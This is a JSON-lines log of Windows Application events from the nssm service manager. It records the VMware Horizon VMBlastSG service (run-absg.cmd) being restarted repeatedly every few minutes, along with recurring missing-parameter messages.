{"@timestamp":1646725421559,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154680","0"]}}},"module":"Application","provider":"nssm","sequence":160084}}
{"@timestamp":1646725421559,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154680","154680","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160085}}
{"@timestamp":1646725421575,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160086}}
{"@timestamp":1646725421575,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160087}}
{"@timestamp":1646725421576,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160088}}
{"@timestamp":1646725421577,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160089}}
{"@timestamp":1646725550135,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160090}}
{"@timestamp":1646725550135,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160091}}
{"@timestamp":1646725550136,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155704","0"]}}},"module":"Application","provider":"nssm","sequence":160092}}
{"@timestamp":1646725550136,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155704","155704","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160093}}
{"@timestamp":1646725550152,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156372","0"]}}},"module":"Application","provider":"nssm","sequence":160094}}
{"@timestamp":1646725550152,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156372","155704","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160095}}
{"@timestamp":1646725550167,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160096}}
{"@timestamp":1646725550167,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160097}}
{"@timestamp":1646725550168,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160098}}
{"@timestamp":1646725550169,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160099}}
{"@timestamp":1646725678742,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160100}}
{"@timestamp":1646725678743,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160101}}
{"@timestamp":1646725678744,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155084","0"]}}},"module":"Application","provider":"nssm","sequence":160102}}
{"@timestamp":1646725678745,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155084","155084","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160103}}
{"@timestamp":1646725678761,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160104}}
{"@timestamp":1646725678762,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160105}}
{"@timestamp":1646725678762,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160106}}
{"@timestamp":1646725678763,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160107}}
{"@timestamp":1646725807239,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160108}}
{"@timestamp":1646725807240,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160109}}
{"@timestamp":1646725807241,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157092","0"]}}},"module":"Application","provider":"nssm","sequence":160110}}
{"@timestamp":1646725807241,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157092","157092","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160111}}
{"@timestamp":1646725807257,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160112}}
{"@timestamp":1646725807257,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160113}}
{"@timestamp":1646725807258,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160114}}
{"@timestamp":1646725807259,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160115}}
{"@timestamp":1646725935745,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160116}}
{"@timestamp":1646725935747,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160117}}
{"@timestamp":1646725935748,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157380","0"]}}},"module":"Application","provider":"nssm","sequence":160118}}
{"@timestamp":1646725935748,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157380","157380","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160119}}
{"@timestamp":1646725935768,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160120}}
{"@timestamp":1646725935769,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160121}}
{"@timestamp":1646725935769,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160122}}
{"@timestamp":1646725935770,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160123}}
{"@timestamp":1646726064289,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160124}}
{"@timestamp":1646726064290,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160125}}
{"@timestamp":1646726064290,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156792","0"]}}},"module":"Application","provider":"nssm","sequence":160126}}
{"@timestamp":1646726064291,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156792","156792","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160127}}
{"@timestamp":1646726064307,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160128}}
{"@timestamp":1646726064307,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160129}}
{"@timestamp":1646726064308,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160130}}
{"@timestamp":1646726064309,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160131}}
{"@timestamp":1646726192809,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160132}}
{"@timestamp":1646726192810,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160133}}
{"@timestamp":1646726192811,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157400","0"]}}},"module":"Application","provider":"nssm","sequence":160134}}
{"@timestamp":1646726192811,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157400","157400","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160135}}
{"@timestamp":1646726192827,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160136}}
{"@timestamp":1646726192827,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160137}}
{"@timestamp":1646726192828,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160138}}
{"@timestamp":1646726192829,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160139}}
{"@timestamp":1646726321319,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160140}}
{"@timestamp":1646726321319,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160141}}
{"@timestamp":1646726321320,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156236","0"]}}},"module":"Application","provider":"nssm","sequence":160142}}
{"@timestamp":1646726321320,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156236","156236","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160143}}
{"@timestamp":1646726321336,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160144}}
{"@timestamp":1646726321336,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160145}}
{"@timestamp":1646726321337,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160146}}
{"@timestamp":1646726321338,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160147}}
{"@timestamp":1646726449914,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160148}}
{"@timestamp":1646726449915,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160149}}
{"@timestamp":1646726449916,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156836","0"]}}},"module":"Application","provider":"nssm","sequence":160150}}
{"@timestamp":1646726449916,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156836","156836","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160151}}
{"@timestamp":1646726449933,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160152}}
{"@timestamp":1646726449933,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160153}}
{"@timestamp":1646726449934,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160154}}
{"@timestamp":1646726449935,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160155}}
{"@timestamp":1646726578424,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160156}}
{"@timestamp":1646726578425,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160157}}
{"@timestamp":1646726578425,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155092","0"]}}},"module":"Application","provider":"nssm","sequence":160158}}
{"@timestamp":1646726578426,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155092","155092","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160159}}
{"@timestamp":1646726578442,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157016","0"]}}},"module":"Application","provider":"nssm","sequence":160160}}
{"@timestamp":1646726578442,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157016","155092","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160161}}
{"@timestamp":1646726578457,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160162}}
{"@timestamp":1646726578457,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160163}}
{"@timestamp":1646726578458,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160164}}
{"@timestamp":1646726578458,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160165}}
{"@timestamp":1646726706949,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160166}}
{"@timestamp":1646726706951,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160167}}
{"@timestamp":1646726706952,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","146348","0"]}}},"module":"Application","provider":"nssm","sequence":160168}}
{"@timestamp":1646726706952,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["146348","146348","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160169}}
{"@timestamp":1646726706968,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160170}}
{"@timestamp":1646726706969,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160171}}
{"@timestamp":1646726706969,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160172}}
{"@timestamp":1646726706970,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160173}}
{"@timestamp":1646726835466,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160174}}
{"@timestamp":1646726835467,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160175}}
{"@timestamp":1646726835468,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156612","0"]}}},"module":"Application","provider":"nssm","sequence":160176}}
{"@timestamp":1646726835468,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156612","156612","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160177}}
{"@timestamp":1646726835485,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160178}}
{"@timestamp":1646726835485,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160179}}
{"@timestamp":1646726835486,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160180}}
{"@timestamp":1646726835487,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160181}}
{"@timestamp":1646726964030,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160182}}
{"@timestamp":1646726964030,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160183}}
{"@timestamp":1646726964031,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157516","0"]}}},"module":"Application","provider":"nssm","sequence":160184}}
{"@timestamp":1646726964031,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157516","157516","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160185}}
{"@timestamp":1646726964047,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156900","0"]}}},"module":"Application","provider":"nssm","sequence":160186}}
{"@timestamp":1646726964048,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156900","157516","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160187}}
{"@timestamp":1646726964064,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160188}}
{"@timestamp":1646726964065,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160189}}
